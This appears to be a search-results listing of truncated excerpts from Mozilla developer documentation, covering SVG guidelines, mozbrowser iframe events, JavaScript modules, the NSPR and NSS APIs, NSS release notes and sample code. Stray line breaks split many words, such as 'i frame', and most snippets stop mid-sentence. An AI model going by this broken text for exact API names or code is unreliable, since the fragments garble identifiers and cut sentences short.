SVG Guidelines
in fact it can be faster to send vector information
from an svg to a user's gpu than it is to extract raster data
from an equivalent raster image.
...referenced ids (usually on gradient stops, but also on shapes or paths) clip-rule attribute when the element is not a descendant of a <clippath> fill-rule attribute when the element is a descendant of a <clippath> unreferenced/unused clip paths, masks or defs (example) styling basics privilege short lowercase hex for colors don't use excessive precision for numeric values (usually comes
from illustrator) use descriptive ids avoid inline styles and use class names or svg attributes examples here are some examples for excessive number precision: 5.000000e-02 → 0.05 (as seen here) -3.728928e-10 → 0 (as seen here) translate(0.000000, -1.000000) → translate(0, -1) (as seen here) as for descriptive ids: for gradients: svg_id1 → gradient1 (as seen here) use of cl...
Firefox
you can find details about profiles on mozilla's end-user support site.performance best practices for firefox
front-end engineersthis guide will help firefox developers working on
front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have,
from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox
front-end engineersthis article will help firefox developers understand the security controls in place and avoid common pitfalls when developing
front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit.
mozbrowsermetachange
general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowsermetachange", function(event) { console.log("a meta tag has been " + event.details.type + ".
mozbrowseropensearch
general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowseropensearch", function( event ) { console.log("new search engine encountered: " + event.details.title); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowserti...
mozbrowseropentab
the mozbrowseropentab event is fired when a new tab is opened within a browser <i
frame> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the...
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowserti...
mozbrowserscrollviewchange
general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowserscrollviewchange", function( event ) { console.log("scrolling has " + event.details.state + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowseruserna...
Chrome-only API reference
browser apithe html browser api is an extension of the html <i
frame> element that allows web apps to implement browsers or browser-like applications.
...examples of chromeworker's using js-ctypes are availabe on github and are linked to
from the see also section below.
Gecko's "Almost Standards" Mode
triggering "almost standards" the doctypes that will trigger "almost standards" mode are those which contain: the public identifier "-//w3c//dtd xhtml 1.0 transitional//en" the public identifier "-//w3c//dtd xhtml 1.0
frameset//en" the public identifier "-//w3c//dtd html 4.01 transitional//en", with a system identifier the public identifier "-//w3c//dtd html 4.01
frameset//en", with a system identifier the ibm system doctype "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" a complete doctype contains a public identifier and a system identifier.
...for example, consider the following doctype: <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> the parts are as follows: public identifier: "-//w3c//dtd html 4.01 transitional//en" system identifier: "http://www.w3.org/tr/html4/loose.dtd" thus any html 4.01 transitional or
frameset doctype with a uri (system identifier) will trigger "almost standards" mode, as will any xhtml 1.0 transitional or
frameset doctype, with or without the uri.
How to get a process dump with Windows Task Manager
a firefox nightly or release you need a firefox version for which symbols are available
from the mozilla symbol server.
... you can use any official nightly build or released version of firefox
from mozilla.
IPDL Best Practices
there a range of mistakes that authors of new sub-protocols
frequently make.
...reference counting protocol actors is tricky here is the easiest way to get it right the first time (lessons learned
from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear
from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree.
IPDL Type Serialization
types are serialized and deserialized
from an ipc::message type declared in ipc_message.h.
... serializers and deserializers are security-sensitive and must always receive two reviews
from module owners who understand ipc serialization well.
Implementing QueryInterface
this technique is less appropriate when you derive
from several complete classes; but it can still be used if you are sensitive to the order, e.g., // ...
...they always make the program source more
fragile.
AddonUpdateChecker
methods getcompatibilityupdate() retrieves the best matching compatibility update for the application
from a list of available update objects.
...tibility information for ignorecompatibility an optional parameter to get the first compatibility update that is compatible with any version of the application or toolkit appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version getnewestcompatibleupdate() returns the newest available update
from a list of update objects.
UpdateListener
an updatelistener receives messages
from an update check for a single add-on, though it is possible to pass the same updatelistener to as many calls to findupdates() as you like.
... void onupdatefinished( in addon addon, in integer error ) parameters addon the addon that was being checked for updates error any error
from the update checkaddon ...
API-provided widgets
from bootstrapped add-ons).
... ondestroyed(adoc) attached to all non-custom widgets; a function that will be invoked after the widget has a dom node destroyed, passing the document
from which it was removed.
Dict.jsm
del() deletes a key/value pair
from the dictionary, given a key.
... boolean del( string akey ); parameters akey the key for the item to delete
from the dictionary.
DownloadError
becausesourcefailed read only boolean indicates an error occurred while reading
from the remote location.
... inherits properties
from error.
FileUtils.jsm
nsifile getfile( string key, array patharray, bool followlinks ); parameters key the nsidirectoryservice key to start
from (see getting special files for more info) patharray an array of path components to locate beneath the directory specified by key.
... nsifile getdir( string key, array patharray, bool shouldcreate, bool followlinks ); parameters key the nsidirectoryservice key to start
from (see getting special files for more info) patharray an array of path components to locate beneath the directory specified by key.
Deferred
starting
from gecko 30, this object is obsolete and should not be used anymore.
... */ this.promise = new promise(function(resolve, reject) { this.resolve = resolve; this.reject = reject; }.bind(this)); object.
freeze(this); } } and use this function as would promise.defer: function funcwithdefer() { var deferred = new deferred(); var promise = deferred.promise; promise.then( function(aval) { console.log('fullfilled - ', aval); }, function(areason) { console.error('rejected - areason:', areason) } ); //deferred.resolve('aval of resolved'); deferred.reject('reject...
Services.jsm
to use it, you first need to import the code module into your javascript scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them
from the services object exported by the code module.
...event listener service etld nsieffectivetldservice effectivetld service focus nsifocusmanager focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsi
framescriptloader global
frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsiprom...
WebChannel.jsm
removes the channel
from the webchannelbroker.
... examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages
from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(new window.customevent("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
JavaScript code modules
bookmarkhtmlutils.jsm provides utility functions for importing and exporting bookmarks
from the old-school "bookmarks.html" style bookmark files.
... netutil.jsm provides helpful networking utility functions, including the ability to easily copy data
from an input stream to an output stream asynchronously.
Localizing extension descriptions
add the following line to each of your localization properties files (where extension_id matches your extension id (<em:id>
from install.rdf) and localized_description is the description of your extension that you want to appear in the given language): extensions.extension_id.description=localized_description if you do not currently have one, create a default preferences file.
... add the following line to it (where extension_id matches your application id
from install.rdf and path_to_localization_file is the chrome path to the localization file you added to earlier): pref("extensions.extension_id.description", "path_to_localization_file"); localizable strings the following add-on metadata can be localized using this process: name description creator homepageurl localizable lists in cases where multiple values can exist, a numeric index is appended to the end of the preference name: extensions.extension_id.contributor.1=first_localized_contributor_name extensions.extension_id.contributor.2=second_localized_contributor_name extensions.extension_id.contributor.3=thrid_localized_contributor_name pref("extensions.extension_id.contributor.1", "path_to_l...
Initial setup
locale-specific bugzilla component having a bugzilla component specific to your locale will help us to track your localization's progress
from first steps to official release.
...we use it for retrieving files
from repositories.
Creating localizable web content
sometimes you can leave some
freedom of modification for a block of text so that the localizers link to relevant local resources.
... if the screenshot shows the application that the website directly relates to (firefox on mozilla.com/firefox, personas on getpersonas.com), try to use screenshots
from the localized version.
MathML In Action
as for the roots of the equation a x 2 + b x + c = 0 , click anywhere in the yellow area to zoom-in/zoom-out: zoomable math html content <p> <math display="block"> <mstyle id="zoomablemath" mathbackground="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <m
frac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>±</mo> <msqrt> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo>-</mo> <mrow> ...
... <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> </mrow> </msqrt> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </m
frac> </mrow> </mstyle> </math> </p> javascript content function zoomtoggle() { if (this.hasattribute("mathsize")) { this.removeattribute("mathsize"); } else { this.setattribute("mathsize", "200%"); } } function load() { document.getelementbyid("zoomablemath").
Are We Slim Yet
it used the same in
frastructure as about:memory to measure memory usage on a predefined snapshot of alexa top 100 pages known as tp5.
... since firefox transitioned to using multiple processes by default, we moved awsy into the taskcluster in
frastructure.
Build Metrics
so the value may fluctuate
from build to build even if the number of compiler warnings didn't actually change.
... since perfherder alerts are calculated based on the mean value of a range, a regression may be reported as a
fractional value.
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the url bar as a small stopwatch icon you can right-click on the button and remove it
from the toolbar when you're done with it.
...try to do this within a few seconds
from reproducing the performance problem as only the last few seconds are recorded.
Scroll-linked effects
however, most browsers now support some sort of asynchronous scrolling in order to provide a consistent 60
frames per second experience to the user.
... compositorworker: allows javascript to be run on the compositor thread in small chunks, provided it doesn't cause the
framerate to drop.
javascript.options.showInConsole
type:boolean default value: false (true in debug builds) exists by default: yes application support:firefox 1.0 status: active introduction:2002-02-26 bugs: bug 125181 bug 337875 values false only errors and warnings
from content code are shown.
... true (default) errors and warnings
from both chrome and content are shown in the error console.
ui.alertNotificationOrigin
ui.alertnotificationorigin controls the position and direction
from which popup notifications invoked by nsialertsservice are sliding in.
... type:integer default value:dependent on position of taskbar or equivalent exists by default: no application support: gecko 1.8.1.2 (firefox 2.0.0.2 / thunderbird 2.0.0.4 / seamonkey 1.1) status: active; last updated 2012-02-22 introduction: pushed to nightly on 2007-01-04 bugs: bug 133527 values 0 bottom right corner, vertical slide-in
from the bottom 1 bottom right corner, horizontal slide-in
from the right 2 bottom left corner, vertical slide-in
from the bottom 3 bottom left corner, horizontal slide-in
from the left 4 top right corner, vertical slide-in
from the top 5 top right corner, horizontal slide-in
from the right 6 top left corner, vertical slide-in
from the top 7 top left corner, horizontal slide-in
from the left ...
Debugging out-of-memory problems
out-of-memory exceptions
from js setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the browser console (note: not web console) when an oom crash is encountered.
... firefox android on firefox android, an about:memory dump may be triggered
from a connect desktop machine with the command: adb shell am broadcast -a org.mozilla.gecko.memory_dump the location of the dump file will be printed to the android log (viewed with adb logcat | grep geckoconsole) and can be retrieved via adb pull.
L20n HTML Bindings
this makes it possible to use l20n in conjunction with mvc
frameworks.
... in order to enable the monolingual mode, remove the manifest link
from your html.
Leak And Bloat Tests
provide a consistent number
from build to build where no source code has changed.
...results printed on tinderbox output, these consist of: mail rlk reference count leaks mail lk total bytes malloc'ed and not
free'd mail mh maximum heap size mail a allocations - number of calls to malloc and
friends.
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've reached this page
from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users.
... open the user.js file
from that directory in a text editor.
Creating a Cookie Log
if you are reading this, you have probably been directed here
from a bug report.
... creating the log now that you have firefox running with logging enabled, please try to replicate the bug using the steps to reproduce
from the bug report.
NSPR build instructions
build the libraries build the test programs for example, # check out the source tree
from mercurial hg clone https://hg.mozilla.org/projects/nspr # create a build directory mkdir target.debug cd target.debug # run the configure script ../nspr/configure [optional configure options] # build the libraries gmake # build the test programs cd pr/tests gmake on mac os x, use make, which is gnu make.
... configure options although nspr uses autoconf, its configure script has two default values that are different
from most open source projects.
Process Forking in NSPR
nspr does not override the fork function and so, when fork is called
from the nspr thread the results are different on the various platforms.
...
freier last updated date: 1998 ...
Linked Lists
the api is a set of macros for initializing a circular (doubly linked) list, inserting and removing elements
from the list.
...the caller must provide for mutually-exclusive access to the list, and for the nodes being added and removed
from the list.
NSPR LOG MODULES
examples log everything
from the toolkit::storage component that happens, prefixing each line with the timestamp when it was logged to the file /tmp/foo.log (which will be replaced each time the executable is run).
...you would be able to download the log file as an artifact
from the log viewer.
PLHashEnumerator
syntax #include <plhash.h> typedef printn (pr_callback *plhashenumerator)(plhashentry *he, printn index, void *arg); /* return value */ #define ht_enumerate_next 0 /* continue enumerating entries */ #define ht_enumerate_stop 1 /* stop enumerating entries */ #define ht_enumerate_remove 2 /* remove and
free the current entry */ #define ht_enumerate_unhash 4 /* just unhash the current entry */ description plhashenumerator is a function type used in the enumerating a hash table.
...the entries are unlinked
from the table, they are not
freed, but the entry count (the nentries field of the plhashtable structure) is not decremented.
PRAddrInfo
typically, a praddrinfo object will be found via pr_getaddrinfobyname, iterated through using pr_enumerateaddrinfo, and finally
freed with pr_
freeaddrinfo.
... to get the canonical hostname of a praddrinfo object, use pr_getcanonname
fromaddrinfo.
PRHostEnt
this structure is output
from pr_gethostbyname and pr_gethostbyaddr and passed to pr_enumeratehostent.
... h_addr_list pointer to a pointer to a list of addresses
from name server (in network byte order).
PRTimeParamFn
this type defines a callback function to calculate and return the time parameter offsets
from a calendar time object in gmt.
... syntax #include <prtime.h> typedef prtimeparameters (pr_callback_decl *prtimeparamfn) (const prexplodedtime *gmt); description the type prtimeparamfn represents a callback function that, when given a time instant in gmt, returns the time zone information (offset
from gmt and dst offset) at that time instant.
PR_AcceptRead
if 0, no data will be read
from the peer.
... returns a positive number indicates the number of bytes read
from the peer.
PR_CALLBACK
used to define pointers to functions that will be implemented by the client but called
from a (different) shared library.
... syntax #include <prtypes.h>type pr_callbackimplementation description functions that are implemented in an application (or shared library) that are intended to be called
from another shared library (such as nspr) must be declared with the pr_callback attribute.
PR_CreateThread
returning
from this function is the only way to terminate a thread.
...this pointer remains valid until the thread returns
from its root function.
PR_DELETE
allocates memory of a specified size
from the heap.
... description this macro returns allocated memory to the heap
from the specified location and sets _ptr to null.
PR_DetachThread
disassociates a prthread object
from a native thread.
... description this function detaches the nspr thread
from the currently executing native thread.
PR EnumerateAddrInfo
enumerates each of the possible network addresses of a praddrinfo structure, acquired
from pr_getaddrinfobyname.
...to continue an enumeration (thereby getting successive addresses
from the praddrinfo structure), the value should be set to the function's last returned value.
PR_GetLibraryName
description this function constructs a full path name
from the specified directory name and library name.
...when it is no longer used,
free it using pr_
freelibraryname.
PR_MALLOC
allocates memory of a specified size
from the heap.
... description this macro allocates memory of the requested size
from the heap.
PR_NEWZAP
allocates and clears memory
from the heap for an instance of a given type.
... description this macro allocates an instance of the specified type
from the heap and sets the content of that memory to zero.
PR_NormalizeTime
for example, if you have a ] object that represents the date 3 march 1998 and you want to say "forty days
from 3 march 1998", you can simply add 40 to the tm_mday field and then call pr_normalizetime().
... to convert
from one time zone to another.
PR_Open
note: the constants pr_rdwr and
friends are not in any interface (bug 433295).
...the prfiledesc should be
freed by calling pr_close.
PR_REMOVE_AND_INIT_LINK
removes an element
from a circular list and initializes the linkage.
... description pr_remove_and_init_link removes the specified element
from its circular list and initializes the links of the element to point to itself.
PR_REMOVE_LINK
removes an element
from a circular list.
... description pr_remove_link removes the specified element
from its circular list.
PR_Rename
syntax #include <prio.h> prstatus pr_rename( const char *
from, const char *to); parameters the function has the following parameters:
from the old name of the file to be renamed.
... description pr_rename renames a file
from its old name (
from) to a new name (to).
PR_WaitCondVar
timeout the value pr_interval_no_timeout requires that a condition be notified (or the thread interrupted) before it will resume
from the wait.
... when the condition variable is notified, a thread waiting on that condition moves
from the "waiting on condition" state to the "ready" state.
PR_Writev
writes data to a socket
from multiple buffers.
... iov an array of priovec structures that describe the buffers to write
from.
Process Management and Interprocess Communication
the newly-created process executes its program
from the beginning.
... a new process can inherit specified file descriptors
from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descriptors.
String Operations
if you are copying or examining strings for use by such libraries or
freeing strings that were allocated by such libraries, you must use these nspr functions rather than the libc equivalents.
... pl_strlen pl_strcpy pl_strdup pl_str
free ...
NSPR API Reference
ress functions atomic operations pr_atomicincrement pr_atomicdecrement pr_atomicset interval timing interval time type and constants interval functions date and time types and constants time parameter callback functions functions memory management operations memory allocation functions memory allocation macros string operations pl_strlen pl_strcpy pl_strdup pl_str
free floating point number to string conversion pr_strtod pr_dtoa pr_cnvtf long long (64-bit) integers bitmaps formatted printing linked lists linked list types prclist linked list macros pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_prev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_ins...
...ert_after dynamic library linking library linking types prlibrary prstaticlinktable library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_
freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library search path exporting symbols
from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a new process creating and managing processes multiwait receive system information and environment variables logging...
NSS CERTVerify Log
*/ unsigned int depth; /* how far up the chain are we */ void *arg; /* error specific argument */ struct certverifylognodestr *next; /* next in the list */ struct certverifylognodestr *prev; /* next in the list */ }; the list is a doubly linked null terminated list sorted
from low to high based on depth into the cert chain.
... when you are through, you will need to walk the list and
free all the cert entries, then
free the arena.
FIPS Mode - an explanation
this makes it difficult to move keys
from one device to another, and consequently, all crypto engines and key storage must be in a single device rather than being split up into several devices.
... how is fips mode different
from normal non-fips mode?
Introduction to Network Security Services
for information on which static libraries in nss 3.1.1 are replaced by each of the above shared libraries in nss 3.2 , see migration
from nss 3.1.1.
... platform for 32-bit cpus for 64-bit cpus solaris/sparc lib
freebl_pure32_3.so lib
freebl_hybrid_3.so hpux/parisc lib
freebl_pure32_3.sl lib
freebl_hybrid_3.sl aix (planned for a future release) lib
freebl_pure32_3_shr.a lib
freebl_hybrid_3_shr.a an application should not link against these libraries, because they are dynamically loaded by nss at run time.
Build instructions for JSS 4.3.x
follow these steps: switch to the appropriate directory and check out jss
from the root of your source tree.
... if you're intention is to modify and build the jss source you need to apply for your own jce code-signing certificate if you made no changes and your goal is to build jss you can use the signed binary release of the jss4.jar
from ftp.mozilla.org.
NSS_3.11.10_release_notes.html
bug 387892: add entrust root ca certificate(s) to nss bug 396999: pk11_authenticate bug 397478: lock
from ssl_initsymwrapkeyslock not
freed on selfserv shutdown.
... bug 397486: session cache locks not
freed on strsclnt shutdown.
NSS_3.12.2_release_notes.html
bug 200704: pkcs11: invalid session handle 0 bug 205434: fully implement new libpkix cert verification api
from bug 294531 bug 302670: use the installed libz.so where available bug 305693: shlibsign generates pqg for every run bug 311483: exposing includecertchain as a parameter to sec_pkcs12addcertandkey bug 390527: get rid of pkixerrormsg variable in pkix_error bug 391560: libpkix does not consistently return pkix_validatenode tree that truly represent failure reasons bug 408260: certutil u...
... bug 432260: [[@ pkix_pl_httpdefaultclient_hdrcheckcomplete - pkix_pl_memcpy] crashes when there is no content-length header in the http response bug 436599: pkix: aia extension is not used in some bridge ca / known certs configuration bug 437804: certutil -r for cert renewal should derive the subject
from the cert if none is specified.
NSS 3.15.3.1 release notes
bug 946351 - misissued google certificates
from dcssi new in nss 3.15.3.1 new functionality no new major functionality is introduced in this release.
...bugs fixed in nss 3.15.3.1 bug 946351 - misissued google certificates
from dcssi a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3.1&product=nss compatibility nss 3.15.3.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.17 release notes
nss 3.17 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_rtm/src/ new in nss 3.17 new functionality when using ecdhe, the tls server code may be configured to generate a
fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false.
...this option does not affect the tls client code, which always generates a
fresh ephemeral ecdh key for each handshake.
NSS 3.22.2 release notes
notable changes in nss 3.22.2 bug 1247990 - the root ca changes
from nss 3.23 have been backported.
... acknowledgements the nss development team would like to thank security researcher
francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.22 release notes
enforce an external policy on nss
from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols.
... these functions take an explicit mechanism and parameters as arguments rather than inferring it
from the key type using pk11_mapsignkeytype().
NSS 3.29.1 release notes
ecparams, which is part of the public api of the
freebl/softokn parts of nss, had been changed to include an additional attribute.
... note that nss 3.28.3
from the older nss 3.28.x branch has also been released with the identical fixes.
NSS 3.39 release notes
certutil added the ability to delete an orphan private key
from an nss key database.
... notable changes in nss 3.39 the tls 1.3 implementation uses the final version number
from rfc 8446.
NSS 3.42 release notes
new in nss 3.42 new functionality bug 818686 - support xdg basedir specification new functions none notable changes in nss 3.42 the following ca certificates were added: none the following ca certificates were removed: none added support for some of the testcases
from the wycheproof project: bug 1508666 - added aes-gcm test cases bug 1508673 - added chacha20-poly1305 test cases bug 1514999 - added the curve25519 test cases thanks to jonas allmann for adapting these tests.
... bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile
from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44 release notes
bugs fixed in nss 3.44 1501542 - implement checkarmsupport for android 1531244 - use __builtin_bswap64 in crypto_primitives.h 1533216 - cert_decodecertpackage() crash with netscape certificate sequences 1533616 - sdb_getattributevaluenolock should make at most one sql query, rather than one for each attribute 1531236 - provide accessor for certcertificate.dercert 1536734 - lib/
freebl/crypto_primitives.c assumes a big endian machine 1532384 - in nss test certificates, use @example.com (not @bogus.com) 1538479 - post-handshake messages after async server authentication break when using record layer separation 1521578 - x25519 support in pk11pars.c 1540205 -
freebl build fails with -dnss_disable_chachapoly 1532312 - post-handshake auth doesn't interoperate with openssl ...
... 1542741 - certutil -f crashes with segmentation fault 1546925 - allow preceding text in try comment 1534468 - expose chacha20 primitive 1418944 - quote cc/cxx variables passed to nspr 1543545 - allow to build nss as a static library 1487597 - early data that arrives before the handshake completes can be read afterwards 1548398 -
freebl_gtest not building on linux/mac 1548722 - fix some coverity warnings 1540652 - softoken/sdb.c: logically dead code 1549413 - android log lib is not included in build 1537927 - ipsec usage is too restrictive for existing deployments 1549608 - signature fails with dbm disabled 1549848 - allow building nss for ios using gyp 1549847 - nss's sqlite compilation warnings make the build fail on ios 1550041 -
freebl not building on ios simulator 1542950...
NSS 3.48 release notes
use maxout not block size (cve-2019-11745) bug 1593141 - add `notbefore` or similar "beginning-of-validity-period" parameter to mozilla::pkix::trustdomain::checkrevocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fallback disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as
friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vector acceleration bug 1589073 - use of new pr_assert_arg in certdb.c bug 1590495 - fix a crash in pk11_makecert
fromhandle bug 1591742 - ensure des iv length is valid before usage
from pkcs#11 bug 1588567 - enable mozilla::pkix gtests in nss ci bug 1591315 - update nsc_decrypt length in constant time bug 156267...
...1 - enable tls extended master secret by default bug 1590970 - ssl_settimefunc has incomplete coverage bug 1590678 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1588244 - nss changes for delegated credential key strength checks bug 1459141 - add more cbc padding tests that missed nss 3.47 bug 1590339 - fix a memory leak in btoa.c bug 1589810 - fix uninitialized variable warnings
from certdata.perl bug 1573118 - enable tls 1.3 by default in nss this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.55 release notes
notable changes in nss 3.55 p384 and p521 elliptic curve implementations are replaced with verifiable implementations
from fiat-crypto and ecckiila.
... bugs fixed in nss 3.55 bug 1631583 (cve-2020-6829, cve-2020-12400) - replace p384 and p521 with new, verifiable implementations
from fiat-crypto and ecckiila.
NSS Sample Code sample2
* when not using cbc mode, ivitem.data and ivitem.len can be 0, or you * can simply pass null for the iv parameter in pk11_param
fromiv func */ ivitem.type = sibuffer; ivitem.data = giv; ivitem.len = sizeof(giv); secparam = pk11_param
fromiv(ciphermech, &ivitem); if (secparam == null) { fprintf(stderr, "failure to set up pkcs11 param (err %d)\n", pr_geterror()); goto out; } /* sample data we'll encrypt and decrypt */ strcpy(data, "encrypt me!"); fprintf(stderr, "clear data: %s\n", da...
...(enccontext, buf2+tmp1_outlen, &tmp2_outlen, result_len-tmp1_outlen); pk11_destroycontext(enccontext, pr_true); result_len = tmp1_outlen + tmp2_outlen; if (rv1 != secsuccess || rv2 != secsuccess) goto out; fprintf(stderr, "decrypted data: %s\n", buf2); /* =========================== end section ============================= */ out: if (symkey) pk11_
freesymkey(symkey); if (secparam) secitem_
freeitem(secparam, pr_true); } ...
NSS Sample Code sample3
, sizeof data); if (s != secsuccess) { cout << "digestop failed" << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; done: if (context) pk11_destroycontext(context, pr_true); /*
freeit ??
... */ if (key) pk11_
freesymkey(key); if (slot) pk11_
freeslot(slot); return status; } ...
NSS Sample Code sample4
y = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; /* initialize nss */ pk11_setpasswordfunc(passwdcb); rv = nss_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto cleanup; } cert = pk11_findcert
fromnickname("testca", null); if (cert == null) { fprintf(stderr, "couldn't find cert testca in nss db (err %d)\n", pr_geterror()); goto cleanup; } pubkey = cert_extractpublickey(cert); if (pubkey == null) { fprintf(stderr, "couldn't extract public key
from cert testca (err %d)\n", pr_geterror()); goto cleanup; } modulus_len = seckey_publicke...
...private key failed (err %d)\n", pr_geterror()); goto cleanup; } fprintf(stderr, "result of decryption, outlen = %d\n", outlen); fprintf(stderr, "result of decryption, buf = \n%s\n", buf1); exit(0); cleanup: if (cert) cert_destroycertificate(cert); if (pubkey) seckey_destroypublickey(pubkey); if (pvtkey) seckey_destroyprivatekey(pvtkey); if (buf1)
free(buf1); if (buf2)
free(buf2); exit(1); } char *passwdcb(pk11slotinfo *info, prbool retry, void *arg) { if (!retry) return pl_strdup("test"); else return null; } ...
Installation guide
the build system of nss originated
from netscape's build system, which predated the "configure; make; make test; make install" sequence that we're familiar with now.
...nspr: libnspr4.so libplds4.so libplc4.so nss: (note the use of * for lib
freebl -- some platforms have multiple ones) lib
freebl*3.so lib
freebl*3.chk libsoftokn3.so libsoftokn3.chk libnss3.so libsmime3.so libssl3.so libnssckbi.so ...
NSS Key Functions
this was converted
from "chapter 6: key functions".
...when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both
frees the memory and sets all the bits to zero.
NSS reference
validating certificates cert_verifycertnow cert_verifycert cert_verifycertname cert_checkcertvalidtimes nss_cmpcertchainwcanames manipulating certificates cert_dupcertificate cert_destroycertificate sec_deletepermcertificate __cert_closepermcertdb getting certificate information cert_findcertbyname cert_getcertnicknames cert_
freenicknames cert_getdefaultcertdb nss_findcertkeatype comparing secitem objects secitem_compareitem key functions key functions seckey_getdefaultkeydb seckey_destroyprivatekey digital signatures this api consists of the routines used to perform signature generation and the routines used to perform signature verification.
... secmod_loadusermodule secmod_unloadusermodule secmod_closeuserdb secmod_openuserdb pk11_findcert
